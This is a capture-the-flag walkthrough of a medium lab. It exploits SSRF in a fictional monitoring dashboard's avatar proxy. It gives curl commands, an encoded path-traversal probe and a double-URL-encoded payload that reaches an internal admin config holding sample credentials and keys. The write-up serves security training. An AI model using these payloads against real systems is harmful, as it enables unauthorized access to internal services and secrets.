Lab 90 — InsightDash — SSRF via Avatar Proxy Endpoint
Lab 90 — InsightDash — SSRF via Avatar Proxy Endpoint
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: double_url_encoding_bypass, gravatar_default_parameter_abuse, internal_service_enumeration, query_parameter_injection, ssrf_via_proxy
Summary
Walkthrough of the CUSTOM Web Lab 90 — InsightDash — SSRF via Avatar Proxy Endpoint. Task: Node.js/Express monitoring platform with avatar proxy endpoint forwarding to internal Gravatar-compatible service. Solution: Double URL-encoding to inject Gravatar d= parameter, causing internal
Description
InsightDash is an infrastructure monitoring platform built by DataPulse Technologies. It provides real-time server health metrics, alert management, and team collaboration features for DevOps teams. The platform includes a dashboard with server health widgets, configurable alert rules with threshold monitoring, and a team management panel where members can set up their profiles with avatar images. Your goal is to find and exploit a vulnerability that allows you to access sensitive internal resources that should not be reachable from the outside.
English summary: A Node.js/Express monitoring dashboard with an avatar proxy endpoint that forwards requests to an internal Gravatar-compatible service at localhost:3001. The goal is to exploit SSRF to access internal admin endpoints.
Analysis
Reconnaissance
-
Logged in with provided credentials (
user@test.com / password123). The application is a Node.js/Express app (X-Powered-By: Express) behind nginx 1.25.5 reverse proxy. -
Avatar images load from
/avatar/<md5hash>endpoint. The response headerX-Avatar-Service: DataPulse/2.4 (Gravatar-compatible)reveals it's a proxy to an internal Gravatar-compatible service. -
Client-side JavaScript (
/js/app.js) contains a revealing comment:
javascript read-only • copy allowed// Avatar service configuration // Legacy direct fetch (before proxy migration): // fetch('http://localhost:3001/avatar/' + hash).then(r => r.blob()) // Now uses /avatar/:hash proxy endpoint on the main application server. // The internal service supports Gravatar-compatible parameters.
This reveals the internal avatar service runs at http://localhost:3001.
- Every page contains a honeypot/decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in hidden HTML comments and invisible divs — correctly identified and ignored.
Vulnerability
The /avatar/:hash endpoint on the main Express app proxies requests to http://localhost:3001/avatar/<hash>. The proxy URL-decodes the :hash route parameter before constructing the backend URL. This allows double URL-encoding to inject query parameters into the internal request.
The internal service is "Gravatar-compatible", meaning it supports the d= (default) query parameter. In Gravatar, when a hash doesn't match any registered user, the service redirects to or fetches the URL specified in the d= parameter. This creates an SSRF chain:
- Express route decodes
%253F→%3F - Proxy decodes again:
%3F→? - Internal request becomes:
http://localhost:3001/avatar/nonexistent?d=http://localhost:3001/admin/config - Service doesn't find hash "nonexistent", follows the
d=URL - Fetches and returns the content of
/admin/config
Path Traversal Confirmation
First confirmed SSRF via path traversal using encoded slashes:
- Request:
/avatar/test%2f..%2f..%2fhealth - Resolves to:
http://localhost:3001/health - Response:
{"status":"ok","service":"internal-services-hub","uptime":260.223}
Solution
Step 1: Login and obtain session
bash read-only • copy allowedexport URL="https://3c39ed76-b9c1-4f5f-983f-e3c264cd570d.labs.hackadvisor.io" COOKIE=$(curl -s -c - -X POST "$URL/login" \ -d "email=user@test.com&password=password123" | grep connect.sid | awk '{print $NF}')
Step 2: SSRF via double-encoded query parameter injection
The payload uses double URL-encoding to inject the Gravatar d= parameter:
/avatar/nonexistent%253Fd%253Dhttp%253A%252F%252Flocalhost%253A3001%252Fadmin%252Fconfig
Decoding chain:
| Stage | Value |
|---|---|
| Raw URL path | nonexistent%253Fd%253Dhttp%253A%252F%252Flocalhost%253A3001%252Fadmin%252Fconfig |
| After Express route decode | nonexistent%3Fd%3Dhttp%3A%2F%2Flocalhost%3A3001%2Fadmin%2Fconfig |
| After proxy's second decode | nonexistent?d=http://localhost:3001/admin/config |
| Final internal request | http://localhost:3001/avatar/nonexistent?d=http://localhost:3001/admin/config |
Step 3: Execute the exploit
bash read-only • copy allowedcurl -s -b "connect.sid=$COOKIE" \ "$URL/avatar/nonexistent%253Fd%253Dhttp%253A%252F%252Flocalhost%253A3001%252Fadmin%252Fconfig"
Step 4: Response with flag
The /admin/config endpoint returns sensitive internal configuration:
json read-only • copy allowed{ "service": "InsightDash Internal Configuration", "version": "2.4.1", "environment": "production", "database": { "host": "localhost", "port": 5432, "name": "insightdash_prod", "user": "idash_svc", "password": "Pr0d$DB#2025x!" }, "api_keys": { "pagerduty": "pdky-8f4a2c1e9b3d7f6a", "slack_webhook": "xoxb-291847362-kQzP8mN5vR3wY1", "datadog": "dd-api-f7c2e9a14b8d3056" }, "master_key": "FLAG{REDACTED}", "internal_endpoints": { "metrics_aggregator": "http://localhost:3002/metrics", "log_processor": "http://localhost:3003/ingest", "alert_dispatcher": "http://localhost:3004/dispatch" } }
Key Takeaways / Lessons
- Mastering double_url_encoding_bypass, gravatar_default_parameter_abuse, internal_service_enumeration, query_parameter_injection, ssrf_via_proxy was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 90 — InsightDash — SSRF via Avatar Proxy Endpoint • Difficulty: Medium